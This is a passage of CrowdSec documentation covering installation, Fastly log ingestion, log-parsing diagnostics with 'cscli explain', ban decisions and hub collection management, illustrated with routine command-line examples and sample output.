bouncers add mybouncersname Api key for 'mybouncersname': 23........b5a0c Please keep this key since will not be able to retrieve it! sudo cscli bouncers list ----------------------------------------------------------------------------- NAME IP ADDRESS VALID LAST API PULL TYPE VERSION ----------------------------------------------------------------------------- mybouncersname โœ”๏ธ 2020-11-01T11:45:05+01:00 ----------------------------------------------------------------------------- sudo cscli bouncers add jlkqweq Api key for 'jlkqweq': a7........efdc9c Please keep this key since will not be able to retrieve it! sudo cscli bouncers delete mybouncersname sudo cscli bouncers list ---------------------------------------------------------------------- NAME IP ADDRESS VALID LAST API PULL TYPE VERSION ---------------------------------------------------------------------- jlkqweq โœ”๏ธ 2020-11-01T11:49:32+01:00 ---------------------------------------------------------------------- ``` --- # Manual installation ## Manually install the Debian package[โ€‹](#manually-install-the-debian-package "Direct link to Manually install the Debian package") Fetch your package from the [public repository](https://packagecloud.io/crowdsec/crowdsec), and install it manually : SHCOPY ``` sudo dpkg -i ./crowdsec_1.1.1_amd64.deb ``` ## Install from the release tarball[โ€‹](#install-from-the-release-tarball "Direct link to Install from the release tarball") Fetch CrowdSec latest version [here](https://github.com/crowdsecurity/crowdsec/releases). SHCOPY ``` tar xvzf crowdsec-release.tgz cd crowdsec-v* sudo ./wizard.sh -i ``` A [wizard](#using-the-wizard) is provided to help you deploy CrowdSec and cscli. ## Using the Wizard[โ€‹](#using-the-wizard "Direct link to Using the Wizard") ### Interactive mode[โ€‹](#interactive-mode "Direct link to Interactive mode") TEXTCOPY ``` sudo ./wizard.sh -i ``` The wizard is going to guide you through the following steps : * detect services that are present on your machine * detect selected services logs * suggest collections (parsers and scenarios) to deploy * deploy & configure CrowdSec in order to watch selected logs for selected scenarios The process should take less than a minute, [please report if there are any issues](https://github.com/crowdsecurity/crowdsec/issues). You are then ready to [take a tour](https://docs.crowdsec.net/docs/next/getting_started/crowdsec_tour.md) of your freshly deployed CrowdSec ! info Keep in mind that CrowdSec is only in charge of the "detection", and won't block anything on its own. You need to deploy a [bouncer](https://docs.crowdsec.net/u/bouncers/intro.md) to "apply" decisions. ### Binary installation[โ€‹](#binary-installation "Direct link to Binary installation") > you of little faith TEXTCOPY ``` sudo ./wizard.sh --bininstall ``` This will only deploy the binaries, and some extra installation steps need to be completed for the software to be functional : * `sudo cscli hub update` : update the hub index * `sudo cscli machines add -a` : register crowdsec to the local API * `sudo cscli capi register` : register to the central API * `sudo cscli collections install crowdsecurity/linux` : install essential configs (syslog parser, geoip enrichment, date parsers) * configure your [datasources](https://docs.crowdsec.net/docs/next/log_processor/data_sources/intro.md) You can now start & enable the crowdsec service : * `sudo systemctl start crowdsec` * `sudo systemctl enable crowdsec` ### Unattended mode[โ€‹](#unattended-mode "Direct link to Unattended mode") If your setup is standard and you've walked through the default installation without issues, you can win some time in case you need to perform a new install : `sudo ./wizard.sh --unattended` This mode will emulate the interactive mode of the wizard where you answer **yes** to everything and stick with the default options. ## Building docker image[โ€‹](#building-docker-image "Direct link to Building docker image") Crowdsec provides a docker image and can simply built like this : SHCOPY ``` git clone https://github.com/crowdsecurity/crowdsec.git && cd crowdsec docker build -f build/docker/Dockerfile -t crowdsec . ``` ## Building from source[โ€‹](#building-from-source "Direct link to Building from source") You can see the [build instructions](https://docs.crowdsec.net/docs/next/getting_started/install_source.md) for more details. --- # Consuming Fastly Logs In this guide we're going to: 1. Setup fastly to transport logs to a linux server with TLS configured. 2. Setup crowdsec on log server to consume fastly logs. ## Transport fastly logs to linux server:[โ€‹](#transport-fastly-logs-to-linux-server "Direct link to Transport fastly logs to linux server:") ### Configuring Rsyslog with TLS[โ€‹](#configuring-rsyslog-with-tls "Direct link to Configuring Rsyslog with TLS") To receive logs from Fastly, you'll need to generate server and client certificates (the server certificate for machine which receives logs and client for Fastly). See this [guide](https://www.rsyslog.com/doc/master/tutorials/tls.html#setting-up-the-system) on how to do this. ### Configure rsyslog server on crowdsec[โ€‹](#configure-rsyslog-server-on-crowdsec "Direct link to Configure rsyslog server on crowdsec") SHCOPY ``` vim /etc/rsyslog.conf ``` VCLCOPY ``` global( defaultNetstreamDriverCAFile="/etc/pki/ca.crt" defaultNetstreamDriverCertFile="/etc/pki/fastly.dev.crowdsec.net.crt" # Replace this with path to cert defaultNetstreamDriverKeyFile="/etc/pki/fastly.dev.crowdsec.net.key" # Replace this with path to key ) module( load="imtcp" streamdriver.name="gtls" # use gtls netstream driver streamdriver.mode="1" # require TLS for the connection streamdriver.authmode="x509/certvalid" # accept with valid cert ) input( type="imtcp" port="4242" ) ``` Add new config file so it will be processed as final /etc/rsyslog.d/99-crowdsec.conf TEXTCOPY ``` template RemoteLogs,"/var/log/crowdsec_fastly.log" if $hostname == 'ip-172-31-40-44' then ~ *.* ?RemoteLogs & ~ ``` We configure rsyslog to ignore local syslogs and keep only remote syslog. Then we send them to /var/log/crowdsec\_fastly.log ## Install crowdsec with fastly collection[โ€‹](#install-crowdsec-with-fastly-collection "Direct link to Install crowdsec with fastly collection") On the same machine, install crowdsec following as mentioned [here](https://docs.crowdsec.net/u/getting_started/intro.md) ### Setup acquisition[โ€‹](#setup--acquisition "Direct link to Setup acquisition") Append this config to the file /etc/crowdsec/acquisition.yaml YAMLCOPY ``` --- filename: /var/log/crowdsec_fastly.log labels: type: syslog external_format: fastly ``` ### Install fastly collection[โ€‹](#install-fastly-collection "Direct link to Install fastly collection") Install the fastly collection via: SHCOPY ``` sudo cscli collections install crowdsecurity/fastly ``` ### Reload crowdec[โ€‹](#reload-crowdec "Direct link to Reload crowdec") TEXTCOPY ``` sudo systemctl reload crowdsec.service ``` --- # Understand logs processing info `cscli explain` relies on your local setup, parsers, scenario to display its data. It requires a working local crowdsec setup. ## cscli explain: understand what is going on[โ€‹](#cscli-explain-understand-what-is-going-on "Direct link to cscli explain: understand what is going on") `cscli explain` allows you to understand how your logs are processed and in which scenarios they end up. This can be done with a single line, with a given logfile, or via a full `dsn` : SHCOPY ``` cscli explain --file ./myfile.log --type nginx cscli explain --log "Sep 19 18:33:22 scw-d95986 sshd[24347]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.1" --type syslog cscli explain --dsn "file://myfile.log" --type nginx ``` Hint: if your are creating/collecting data on the fly (over a network, for example) and want to avoid temporary files, you can use `cscli explain --file /dev/fd/0` or `cscli explain -dsn "file://dev/fd/0"` to refer to standard input. The typical output looks like this : SHCOPY ``` โ–ถ sudo cscli explain --file ./x.log --type nginx line: xx.xx.xx.xx - - [05/Nov/2017:07:23:41 +0100] "GET /Og9vl1%0d%2019s58%3Atest HTTP/1.1" 404 136 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko" "-" โ”œ s00-raw | โ”œ ๐ŸŸข crowdsecurity/non-syslog (first_parser) | โ”” ๐Ÿ”ด crowdsecurity/syslog-logs โ”œ s01-parse | โ”” ๐ŸŸข crowdsecurity/nginx-logs (+22 ~2) โ”œ s02-enrich | โ”œ ๐ŸŸข crowdsecurity/dateparse-enrich (+1 ~1) | โ”œ ๐ŸŸข crowdsecurity/geoip-enrich (+12) | โ”œ ๐ŸŸข crowdsecurity/http-logs (+7) | โ”” ๐ŸŸข crowdsecurity/whitelists (unchanged) โ”œ-------- parser success ๐ŸŸข โ”œ Scenarios โ”œ ๐ŸŸข crowdsecurity/http-crawl-non_statics โ”” ๐ŸŸข crowdsecurity/http-probing ``` Lines represent if and how a parser interacted with the line: how many fields were added (`+`), modified (`~`), or deleted (`-`). Other visual clues include: `unchanged` a parser didn't modify an event (meaning it is not relevant) or `[whitelisted]` if a whitelist matched the event. What happens : 1. Our log line `line: xxx.xxx.xxx.xx - - [05/Nov/2017:07:23:41 +0100] "GET ...` starts being parsed 2. It enters the first stage `s00-raw` * It goes through the `syslog-logs` and `non-syslog` parsers of [`crowdsecurity/syslog-logs`](https://hub.crowdsec.net/author/crowdsecurity/configurations/syslog-logs) * as `syslog-logs` is successful and has `onsuccess: next_stage`, line can move to next stage 3. It enters the stage `s01-parse` * It is not eligible for parsers [`crowdsecurity/apache2-logs`](https://hub.crowdsec.net/author/crowdsecurity/configurations/apache2-logs) nor [`crowdsecurity/mysql-logs`](https://hub.crowdsec.net/author/crowdsecurity/configurations/mysql-logs) * It is eligible and successfully parsed by [`crowdsecurity/nginx-logs`](https://hub.crowdsec.net/author/crowdsecurity/configurations/nginx-logs) and goes to the next stage thanks to `onsuccess: next_stage`. 4. It enters the stage `s02-enrich` * [`crowdsecurity/dateparse-enrich`](https://hub.crowdsec.net/author/crowdsecurity/configurations/dateparse-enrich) is in charge of parsing the timestamp to make the "cold logs" processable by scenarios * [`crowdsecurity/geoip-enrich`](https://hub.crowdsec.net/author/crowdsecurity/configurations/geoip-enrich) enriches the event with geoloc information based on the extracted IP * [`crowdsecurity/http-logs`](https://hub.crowdsec.net/author/crowdsecurity/configurations/http-logs) performs further parsing on generic HTTP elements, such as tagging static resources, breaking down URI in subparts etc. * [`crowdsecurity/whitelists`](https://hub.crowdsec.net/author/crowdsecurity/configurations/whitelists) is in charge of whitelisting events from local IPs, and won't be triggered here 5. At this point, the log line successfully exited the parsing process and is ready to be processed by scenarios : * [`crowdsecurity/http-crawl-non_statics`](https://hub.crowdsec.net/author/crowdsecurity/configurations/http-crawl-non_statics) matches this event : it's a http request targeting a non static resource * [`crowdsecurity/http-probing`](https://hub.crowdsec.net/author/crowdsecurity/configurations/http-probing) matches as well: it's a 4XX HTTP request that doesn't target a static resource 6. Please note that this feature does not track overflows themselves, it only points out if the event was able to *enter* the scenario Hopefully, this feature will help users understand the behavior when debugging crowdsec or creating parsers and/or scenarios. ## Verbose mode[โ€‹](#verbose-mode "Direct link to Verbose mode") When troubleshooting parsers, the `--verbose/-v` option offers extra information. Every change made to the event is displayed along below the associated parser. SHCOPY ``` โ–ถ ./cscli -c dev.yaml explain --file /tmp/xx --type nginx --verbose line: 10.42.42.42 - - [23/Oct/2017:10:46:06 +0200] "GET /admin/2019p1mnsa8q1ktU HTTP/1.1" 404 136 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko (Wallarm DirBuster)" "-" โ”œ s00-raw | โ”œ ๐ŸŸข crowdsecurity/non-syslog (first_parser) | โ”” ๐Ÿ”ด crowdsecurity/syslog-logs โ”œ s01-parse | โ”” ๐ŸŸข crowdsecurity/nginx-logs (+22 ~2) | โ”” update Stage : s01-parse -> s02-enrich | โ”” create Parsed.body_bytes_sent : 136 | โ”” create Parsed.http_referer : - | โ”” create Parsed.http_user_agent : Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko (Wallarm DirBuster) | โ”” create Parsed.status : 404 | โ”” create Parsed.target_fqdn : | โ”” create Parsed.proxy_alternative_upstream_name : | โ”” create Parsed.request_time : | โ”” create Parsed.time_local : 23/Oct/2017:10:46:06 +0200 | โ”” create Parsed.proxy_upstream_name : | โ”” create Parsed.remote_user : - | โ”” create Parsed.request : /admin/2019p1mnsa8q1ktU | โ”” create Parsed.http_version : 1.1 | โ”” create Parsed.remote_addr : 10.42.42.42 | โ”” create Parsed.request_length : | โ”” create Parsed.verb : GET | โ”” update StrTime : -> 23/Oct/2017:10:46:06 +0200 | โ”” create Meta.http_user_agent : Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko (Wallarm DirBuster) | โ”” create Meta.service : http | โ”” create Meta.source_ip : 10.42.42.42 | โ”” create Meta.http_verb : GET | โ”” create Meta.log_type : http_access-log | โ”” create Meta.http_path : /admin/2019p1mnsa8q1ktU | โ”” create Meta.http_status : 404 โ”œ s02-enrich | โ”œ ๐ŸŸข crowdsecurity/dateparse-enrich (+1 ~1) | โ”œ create Enriched.MarshaledTime : 2017-10-23T10:46:06+02:00 ``` ## How it works[โ€‹](#how-it-works "Direct link to How it works") Behind the scene, `cscli explain` relies on your local crowdsec setup to launch a crowdsec instance to process the given logs, and "simply" provides a more user-friendly representation of the debug information. --- # Run cscli on MacOS ## Running cscli on macos[โ€‹](#running-cscli-on-macos "Direct link to Running cscli on macos") While it does not make much sense to run crowdsec itself on MacOS, being able to run cscli to interact with remote crowdsec instances is very useful. We do not currently provide prebuilt binary for MacOS, but you can: * Build cscli yourself * Use our docker image ### Building cscli[โ€‹](#building-cscli "Direct link to Building cscli") In order to build cscli from source, you will need to have at least golang 1.16 installed. You can build from the git master branch or download a source release [here](https://github.com/crowdsecurity/crowdsec/releases). warning If you choose to install from a release, make sure to download the `Source code`ย asset, not the release itself ! Once you have the code, you can run `make release` to build `crowdsec` and `cscli`. The `cscli` binary will be located in `crowdsec-$VERSION/cmd/crowdsec-cli/cscli`, you can copy it anywhere in your PATH. ### Using the docker image[โ€‹](#using-the-docker-image "Direct link to Using the docker image") info We do not provide ARM64 images currently, but the x86 one works fine on ARM64 Macs. You can also use our [docker image](https://hub.docker.com/r/crowdsecurity/crowdsec). In order to simplify the usage, you can create a shell alias: SHCOPY ``` alias cscli="docker run --rm --entrypoint /usr/local/bin/cscli -v /path/to/crowdsec/config.yaml:/etc/crowdsec/config.yaml -v /path/to/local_api_credentials.yaml:/etc/crowdsec/local_api_credentials.yaml -e DISABLE_ONLINE_API=true -e DISABLE_AGENT=true crowdsecurity/crowdsec:latest" ``` ### Configuration[โ€‹](#configuration "Direct link to Configuration") In order to use `cscli` with a remote `crowdsec` agent, you need to be able to access from the machine where `cscli` will run: * Crowdsec Local API: for most basic operations * Crowdsec database (this means that you *cannot* use sqlite): for administrative operations (adding new bouncers/machines, listing them, ...) Create a local `config.yaml`ย (you can use the default [configuration file](https://github.com/crowdsecurity/crowdsec/blob/master/config/config.yaml) as a base). Update the `db_config` section to put the correct `type`, `host`, `port`, `username` and `password`. You can refer [here](https://docs.crowdsec.net/docs/next/local_api/database.md) for more information about the database configuration. Optionally, if you have built `cscli` from source, you can also update the various paths in the configuration to point them to files in your home directory for simplicity. On the machine where LAPI is running, run `cscli machines add NAME_OF_LOCAL_MACHINE -f local_machines_creds.yaml -a` to generate new LAPI credentials to use for your local `cscli`. warning The URL in the generated file will likely be wrong, make sure to update it to the actual IP or FQDN on which your LAPI is available. Copy this file locally either to the credentials file you bind-mount in your docker container or to the file loaded by cscli (by default, `/etc/crowdsec/local_api_credentials.yaml`) You are now able to use `cscli` from your macOS machine. --- # Decisions info Please see your local `sudo cscli help decisions` for up-to-date documentation. ## List active decisions[โ€‹](#list-active-decisions "Direct link to List active decisions") SHCOPY ``` sudo cscli decisions list ``` Output SHCOPY ``` +--------+----------+------------------+------------------------------------+--------+---------+--------------------------------+--------+-----------------+----------+ | ID | SOURCE | SCOPE:VALUE | REASON | ACTION | COUNTRY | AS | EVENTS | EXPIRATION | ALERT ID | +--------+----------+------------------+------------------------------------+--------+---------+--------------------------------+--------+-----------------+----------+ | 276009 | crowdsec | Ip:xx.93.x.xxx | crowdsecurity/telnet-bf | ban | CN | xxxxxxxx xxxxxxx Advertising | 7 | 2m53.949221341s | 33459 | | | | | | | | Co.,Ltd. | | | | | 276008 | crowdsec | Ip:xxx.53.xx.xxx | crowdsecurity/smb-bf | ban | BR | xxxxxxxxxx xxxxxxxxxxxxxxxx | 6 | 1m48.728998974s | 33458 | | | | | | | | LTDA | | | | +--------+----------+------------------+------------------------------------+--------+---------+--------------------------------+--------+-----------------+----------+ ``` * `Decision ID` is the ID of the decision * `SOURCE` : the source of the decisions: * `crowdsec` : decision from the CrowdSec agent * `cscli` : decision from `cscli` (manual decision) * `CAPI` : decision from CrowdSec API * `cscli-import`: decision from imported file * `SCOPE:VALUE` is the target of the decisions : * "scope" : the scope of the decisions (`ip`, `range`, `user` ...) * "value" : the value to apply on the decisions (ip\_addr, ip\_range, username ...) * `REASON` is the scenario that was triggered (or human-supplied reason) * `ACTION` is the type of the decision (`ban`, `captcha`ย ...) * `COUNTRY` and `AS` are provided by GeoIP enrichment if present * `EVENTS` number of events that triggered this decison * `EXPIRATION` is the time left on remediation * `ALERT ID` is the ID of the corresponding alert Check [command usage](https://docs.crowdsec.net/docs/next/cscli/cscli_decisions.md) for additional filtering and output control flags. #### List active decisions from the CrowdSec Central API[โ€‹](#list-active-decisions-from-the-crowdsec-central-api "Direct link to List active decisions from the CrowdSec Central API") SHCOPY ``` sudo cscli decisions list --origin CAPI ``` #### List active decisions from an imported file[โ€‹](#list-active-decisions-from-an-imported-file "Direct link to List active decisions from an imported file") SHCOPY ``` sudo cscli decisions list --origin cscli-import ``` ## Add a decision[โ€‹](#add-a-decision "Direct link to Add a decision") > Ban an IP address SHCOPY ``` sudo cscli decisions add -i 192.168.1.1 ``` info * default `duration`: `4h` * default `type` : `ban` > Add a decision (ban) on the IP address `192.168.1.1` for 24 hours, with reason 'web bruteforce' SHCOPY ``` sudo cscli decisions add --ip 192.168.1.1 --duration 24h --reason "web bruteforce" ``` > Add a decision (ban) on the IP range `1.2.3.0/24` for 4 hours (the default duration), with reason 'web bruteforce' SHCOPY ``` sudo cscli decisions add --range 1.2.3.0/24 --reason "web bruteforce" ``` > Add a decision (captcha) the on IP address `192.168.1.1` for 4 hours, with reason 'web bruteforce' SHCOPY ``` sudo cscli decisions add --ip 192.168.1.1 --reason "web bruteforce" --type captcha ``` ## Delete a decision[โ€‹](#delete-a-decision "Direct link to Delete a decision") > delete the decision on IP address `192.168.1.1` SHCOPY ``` sudo cscli decisions delete --ip 192.168.1.1 ``` > delete the decision on IP range 1.2.3.0/24 SHCOPY ``` sudo cscli decisions delete --range 1.2.3.0/24 ``` caution Please note that `cscli decisions list` shows you only the latest alert per any given IP address or scope. However, several decisions targeting the same IP address can exist. If you want to be sure to clear all decisions for a given IP address or scope, use `cscli decisions delete -i x.x.x.x` > delete a decision by ID SHCOPY ``` sudo cscli decisions delete --id 74 ``` ## Delete all existing bans[โ€‹](#delete-all-existing-bans "Direct link to Delete all existing bans") > Flush all the existing bans SHCOPY ``` sudo cscli decisions delete --all ``` caution This will as well remove local and community decisions. ## Import decisions[โ€‹](#import-decisions "Direct link to Import decisions") ::: warning Importing over 1000 decisions may impact the performance of the backend temporarily, `cscli` will split the import into batches to avoid this. ::: You can import a CSV or JSON file containing decisions directly with cscli. The `value` field is mandatory and contains the target of the decision (ip, range, username, ...). The following fields are optional: * `duration`: duration of the decision, defaults to 4h * `reason`: reason for the decision, defaults to `manual` * `origin`: source of the decision, defaults to `cscli` * `type`: action to apply for the decision, defaults to `ban` * `scope`: scope of the decision, defaults to `ip` All the fields (except for `value`) can be overwritten by command line arguments, you can see the list in the [cscli documentation](https://docs.crowdsec.net/docs/next/cscli/cscli_decisions_import.md). We use the file extension to determine the format of the file, but you can also use the `--format` flag to specify it. ### CSV File[โ€‹](#csv-file "Direct link to CSV File") SHCOPY ``` sudo cscli decisions import -i foo.csv ``` Example CSV file CSVExample CSV fileCOPY ``` duration,scope,value 24h,ip,192.168.1.1 ``` ### JSON File[โ€‹](#json-file "Direct link to JSON File") SHCOPY ``` sudo cscli decisions import -i foo.json ``` Example JSON file JSONExample JSON fileCOPY ``` [ { "duration" : "4h", "scope" : "ip", "type" : "ban", "value" : "1.2.3.5" } ] ``` ### STDIN[โ€‹](#stdin "Direct link to STDIN") info In the example we command we show how to use `cat` to pipe the content of a file to `cscli`. However, you can use any command that outputs the contents to STDOUT. SHCOPY ``` cat ips.txt | sudo cscli decisions import -i- --format values ``` Example of ips.txt TEXTExample of ips.txtCOPY ``` 10.10.10.10 10.10.10.11 10.10.10.12 ``` --- # Hub Hub management, via `cscli` allows you to install, upgrade, remove and view installed collections, parsers, scenarios etc. ## Collections[โ€‹](#collections "Direct link to Collections") ### Installation[โ€‹](#installation "Direct link to Installation") A collection contains parsers and scenarios to form a coherent ensemble. Most of the time, this is the only you will need to install. Have nginx running ? `cscli collections install crowdsecurity/nginx` should do the trick ! Browse the [hub for more collections](https://hub.crowdsec.net/browse/#collections). SHCOPY ``` sudo cscli collections install ``` Install **crowdsecurity/whitelist-good-actors **collection SHCOPY ``` sudo cscli collections install crowdsecurity/whitelist-good-actors INFO[0000] crowdsecurity/seo-bots-whitelist : OK INFO[0000] downloading data 'https://raw.githubusercontent.com/crowdsecurity/sec-lists/master/whitelists/benign_bots/search_engine_crawlers/rdns_seo_bots.txt' in '/var/lib/crowdsec/data/rdns_seo_bots.txt' INFO[0001] downloading data 'https://raw.githubusercontent.com/crowdsecurity/sec-lists/master/whitelists/benign_bots/search_engine_crawlers/rnds_seo_bots.regex' in '/var/lib/crowdsec/data/rdns_seo_bots.regex' INFO[0002] downloading data 'https://raw.githubusercontent.com/crowdsecurity/sec-lists/master/whitelists/benign_bots/search_engine_crawlers/ip_seo_bots.txt' in '/var/lib/crowdsec/data/ip_seo_bots.txt' INFO[0002] crowdsecurity/cdn-whitelist : OK INFO[0002] downloading data 'https://www.cloudflare.com/ips-v4' in '/var/lib/crowdsec/data/cloudflare_ips.txt' INFO[0003] crowdsecurity/rdns : OK INFO[0003] crowdsecurity/whitelist-good-actors : OK INFO[0003] /etc/crowdsec/postoverflows/s01-whitelist doesn't exist, create INFO[0003] Enabled postoverflows : crowdsecurity/seo-bots-whitelist INFO[0003] Enabled postoverflows : crowdsecurity/cdn-whitelist INFO[0003] /etc/crowdsec/postoverflows/s00-enrich doesn't exist, create INFO[0003] Enabled postoverflows : crowdsecurity/rdns INFO[0003] Enabled collections : crowdsecurity/whitelist-good-actors INFO[0003] Enabled crowdsecurity/whitelist-good-actors INFO[0003] Run 'systemctl reload crowdsec' for the new configuration to be effective. $ systemctl reload crowdsec ``` ### List[โ€‹](#list "Direct link to List") SHCOPY ``` sudo cscli collections list ``` cscli collections list example SHCOPY ``` sudo cscli collections list ------------------------------------------------------------------------------------------------------------- NAME ๐Ÿ“ฆ STATUS VERSION LOCAL PATH ------------------------------------------------------------------------------------------------------------- crowdsecurity/nginx โœ”๏ธ enabled 0.1 /etc/crowdsec/collections/nginx.yaml crowdsecurity/base-http-scenarios โœ”๏ธ enabled 0.1 /etc/crowdsec/collections/base-http-scenarios.yaml crowdsecurity/sshd โœ”๏ธ enabled 0.1 /etc/crowdsec/collections/sshd.yaml crowdsecurity/linux โœ”๏ธ enabled 0.2 /etc/crowdsec/collections/linux.yaml ------------------------------------------------------------------------------------------------------------- ``` tip This will list only installed parsers. Use `--all` to list available parsers. ### Upgrade[โ€‹](#upgrade "Direct link to Upgrade") SHCOPY ``` sudo cscli hub update sudo cscli collections upgrade ``` Collection upgrade allows you to upgrade an existing collection (and its items) to the latest version. Upgrade **crowdsecurity/sshd** collection SHCOPY ``` sudo cscli hub update INFO[06-08-2021 04:18:33 PM] Wrote new 126099 bytes index to /etc/crowdsec/hub/.index.json sudo cscli collections upgrade crowdsecurity/sshd INFO[0000] crowdsecurity/sshd : up-to-date WARN[0000] crowdsecurity/sshd-logs : overwrite WARN[0000] crowdsecurity/ssh-bf : overwrite WARN[0000] crowdsecurity/sshd : overwrite INFO[0000] ๐Ÿ“ฆ crowdsecurity/sshd : updated INFO[0000] Upgraded 1 items INFO[0000] Run 'systemctl reload crowdsec' for the new configuration to be effective. $ systemctl reload crowdsec ``` ### Monitor[โ€‹](#monitor "Direct link to Monitor") SHCOPY ``` sudo cscli collections inspect ``` Collections inspect will give you detailed information about a given collection, including versioning data *and* runtime metrics (fetched from prometheus). cscli collections inspect example SHCOPY ``` sudo cscli collections inspect crowdsecurity/sshd type: collections name: crowdsecurity/sshd filename: sshd.yaml description: 'sshd support : parser and brute-force detection' author: crowdsecurity belongs_to_collections: - crowdsecurity/linux - crowdsecurity/linux remote_path: collections/crowdsecurity/sshd.yaml version: "0.1" local_path: /etc/crowdsec/collections/sshd.yaml localversion: "0.1" localhash: 21159aeb87529efcf1a5033f720413d5321a6451bab679a999f7f01a7aa972b3 installed: true downloaded: true uptodate: true tainted: false local: false parsers: - crowdsecurity/sshd-logs scenarios: - crowdsecurity/ssh-bf Current metrics : - (Scenario) crowdsecurity/ssh-bf: +---------------+-----------+--------------+--------+---------+ | CURRENT COUNT | OVERFLOWS | INSTANCIATED | POURED | EXPIRED | +---------------+-----------+--------------+--------+---------+ | 0 | 1 | 2 | 10 | 1 | +---------------+-----------+--------------+--------+---------+ ``` ### Reference[โ€‹](#reference "Direct link to Reference") See more about collection [here](https://docs.crowdsec.net/docs/next/log_processor/collections/intro.md). ## Parsers[โ€‹](#parsers "Direct link to Parsers") ### Installation[โ€‹](#installation-1 "Direct link to Installation") SHCOPY ``` sudo cscli parsers install ``` Install **crowdsecurity/iptables-logs** parser SHCOPY ``` sudo cscli parsers install crowdsecurity/iptables-logs INFO[0000] crowdsecurity/iptables-logs : OK INFO[0000] Enabled parsers : crowdsecurity/iptables-logs INFO[0000] Enabled crowdsecurity/iptables-logs INFO[0000] Run 'systemctl reload crowdsec' for the new configuration to be effective. ``` ### List[โ€‹](#list-1 "Direct link to List") SHCOPY ``` sudo cscli parsers list ``` [Parsers](https://docs.crowdsec.net/docs/next/log_processor/parsers/intro.md) are yaml files in `/etc/crowdsec/parsers//parser.yaml`. List installed parsers SHCOPY ``` sudo cscli parsers list -------------------------------------------------------------------------------------------------------------- NAME ๐Ÿ“ฆ STATUS VERSION LOCAL PATH -------------------------------------------------------------------------------------------------------------- crowdsecurity/whitelists โœ”๏ธ enabled 0.1 /etc/crowdsec/parsers/s02-enrich/whitelists.yaml crowdsecurity/dateparse-enrich โœ”๏ธ enabled 0.1 /etc/crowdsec/parsers/s02-enrich/dateparse-enrich.yaml crowdsecurity/iptables-logs โœ”๏ธ enabled 0.1 /etc/crowdsec/parsers/s01-parse/iptables-logs.yaml crowdsecurity/syslog-logs โœ”๏ธ enabled 0.1 /etc/crowdsec/parsers/s00-raw/syslog-logs.yaml crowdsecurity/sshd-logs โœ”๏ธ enabled 0.1 /etc/crowdsec/parsers/s01-parse/sshd-logs.yaml crowdsecurity/geoip-enrich โœ”๏ธ enabled 0.2 /etc/crowdsec/parsers/s02-enrich/geoip-enrich.yaml crowdsecurity/http-logs โœ”๏ธ enabled 0.2 /etc/crowdsec/parsers/s02-enrich/http-logs.yaml crowdsecurity/nginx-logs โœ”๏ธ enabled 0.1 /etc/crowdsec/parsers/s01-parse/nginx-logs.yaml -------------------------------------------------------------------------------------------------------------- ``` ### Upgrade[โ€‹](#upgrade-1 "Direct link to Upgrade") SHCOPY ``` sudo cscli hub update sudo cscli parsers upgrade ``` Parsers upgrade allows you to upgrade an existing parser to the latest version. Upgrade **crowdsecurity/sshd-logs** parser SHCOPY ``` sudo cscli hub update INFO[06-08-2021 04:18:33 PM] Wrote new 126099 bytes index to /etc/crowdsec/hub/.index.json sudo cscli parsers upgrade crowdsecurity/sshd-logs INFO[0000] crowdsecurity/sshd : up-to-date WARN[0000] crowdsecurity/sshd-logs : overwrite WARN[0000] crowdsecurity/ssh-bf : overwrite WARN[0000] crowdsecurity/sshd : overwrite INFO[0000] ๐Ÿ“ฆ crowdsecurity/sshd : updated INFO[0000] Upgraded 1 items INFO[0000] Run 'systemctl reload crowdsec' for the new configuration to be effective. ``` ### Monitor[โ€‹](#monitor-1 "Direct link to Monitor") SHCOPY ``` sudo cscli parsers inspect ``` Parsers inspect will give you detailed information about a given parser, including versioning data *and* runtime metrics (fetched from prometheus). Inspect **crowdsecurity/sshd-logs** parser SHCOPY ``` sudo cscli parsers inspect crowdsecurity/sshd-logs type: parsers stage: s01-parse name: crowdsecurity/sshd-logs filename: sshd-logs.yaml description: Parse openSSH logs author: crowdsecurity belongs_to_collections: - crowdsecurity/sshd remote_path: parsers/s01-parse/crowdsecurity/sshd-logs.yaml version: "0.1" local_path: /etc/crowdsec/parsers/s01-parse/sshd-logs.yaml localversion: "0.1" localhash: ecd40cb8cd95e2bad398824ab67b479362cdbf0e1598b8833e2f537ae3ce2f93 installed: true downloaded: true uptodate: true tainted: false local: false Current metrics : - (Parser) crowdsecurity/sshd-logs: +-------------------+-------+--------+----------+ | PARSERS | HITS | PARSED | UNPARSED | +-------------------+-------+--------+----------+ | /var/log/auth.log | 94138 | 42404 | 51734 | +-------------------+-------+--------+----------+ ``` ### Reference[โ€‹](#reference-1 "Direct link to Reference") See more details about parsers [here](https://docs.crowdsec.net/docs/next/log_processor/parsers/intro.md). ## Enrichers[โ€‹](#enrichers "Direct link to Enrichers") Enrichers are basically [parsers](https://docs.crowdsec.net/docs/next/log_processor/parsers/intro.md) that can rely on external methods to provide extra contextual information to the event. The enrichers are usually in the `s02-enrich` stage (after most of the parsing happened). Enrichers functions should all accept a string as a parameter, and return an associative string array, that will be automatically merged into the `Enriched` map of the [event](https://docs.crowdsec.net/docs/next/expr/event.md). caution At the time of writing, the enrichers plugin mechanism implementation is still ongoing (read: the list of available enrichment methods is currently hardcoded). As an example let's look into the geoip-enrich parser/enricher : It relies on [the geolite2 data created by maxmind](https://www.maxmind.com) and the [geoip2 golang module](https://github.com/oschwald/geoip2-golang) to provide the actual data. It exposes three methods: `GeoIpCity` `GeoIpASN` and `IpToRange` that are used by the `crowdsecurity/geoip-enrich`. Enrichers can be installed as any other parsers with the following command: TEXTCOPY ``` sudo cscli parsers install crowdsecurity/geoip-enrich ``` Take a tour at the [Hub](https://hub.crowdsec.net/browse/#configurations) to find them ! ### Reference[โ€‹](#reference-2 "Direct link to Reference") See more about enrichers [here](https://docs.crowdsec.net/docs/next/log_processor/parsers/enricher.md). ## Scenarios[โ€‹](#scenarios "Direct link to Scenarios") ### Installation[โ€‹](#installation-2 "Direct link to Installation") SHCOPY ``` sudo cscli scenarios install ``` Install **crowdsecurity/http-bf-wordpress\_bf** scenario SHCOPY ``` sudo cscli scenarios install crowdsecurity/http-bf-wordpress_bf INFO[0000] crowdsecurity/http-bf-wordpress_bf : OK INFO[0000] Enabled scenarios : 